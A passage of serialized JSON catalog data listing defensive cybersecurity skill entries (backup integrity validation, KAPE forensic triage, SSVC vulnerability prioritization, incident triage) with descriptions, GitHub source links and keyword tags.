tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[158,161],{"categoryNo":159,"categoryName":160,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[146,163,164,165,166,34,167,168,140,169,170,171,172,173,174,175,176,177,178,179],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":181,"name":182,"nameZh":6,"description":183,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":184,"categories":185,"keywords":187,"publishedAt":42},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[186],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[188,189,190,34,191,192,193,194,195,196,197,198,199,200,201,202,143,203,204,205],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":207,"name":208,"nameZh":6,"description":209,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":210,"categories":211,"keywords":213,"publishedAt":42},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[212],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[214,215,216,34,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":234,"name":235,"nameZh":6,"description":236,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":237,"categories":238,"keywords":240,"publishedAt":42},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[239],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[113,241,34,242,243,244,245,246,247,248,249,175,250,176,251,252,253,254,255,256],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]